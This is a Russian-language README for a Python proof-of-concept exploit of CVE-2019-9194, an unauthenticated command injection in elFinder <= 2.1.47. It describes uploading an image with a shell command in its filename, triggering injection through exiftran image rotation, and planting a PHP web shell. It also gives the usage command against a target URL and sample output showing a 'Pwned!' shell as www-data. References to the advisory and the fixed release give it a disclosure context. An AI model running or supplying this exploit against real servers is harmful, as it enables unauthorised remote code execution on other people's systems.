CVE-2019-9194 — Внедрение команд в elFinder (PoC)

Уязвимость внедрения команд в elFinder <= 2.1.47 через PHP-компонент коннектора. Позволяет неавторизованному удалённому выполнению кода от имени пользователя веб-сервера.

Как это работает

• Загружает корректный JPEG с вредоносным именем файла, содержащим команду оболочки.
• Активирует уязвимость, запрашивая поворот изображения, при котором имя файла передаётся в exiftran без санитизации.
• Внедрённая команда записывает PHP-оболочку (SecSignal.php) на сервер.
• Подключается к веб-оболочке и переходит в интерактивную оболочку.

Требования

• Python 3
• Библиотека requests (pip install requests)
• Цель должна иметь установленный exiftran и включённый PHP-коннектор elFinder (connector.minimal.php)

Использование

python3 exploit.py http://ЦЕЛЬ

Пример:

$ python3 exploit.py http://10.10.10.10/elFinder
[*] Uploading malicious image...
[*] File uploaded, hash: l1_U2VjU2lnbmFsLmpwZw
[*] Triggering command injection via image rotation...
[*] Checking for webshell...
[+] Pwned!
[+] Interactive shell (Ctrl+C to exit)

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ссылки

• CVE-2019-9194
• EDB-46481
• Описание уязвимости — SecSignal
• Релиз elFinder 2.1.48 (исправление)

Авторы

• Обнаружение: Thomas Chauchefoin
• Оригинальный эксплойт: @q3rv0
• Порт на Python 3 и улучшения в стиле Metasploit: Esteban Zárate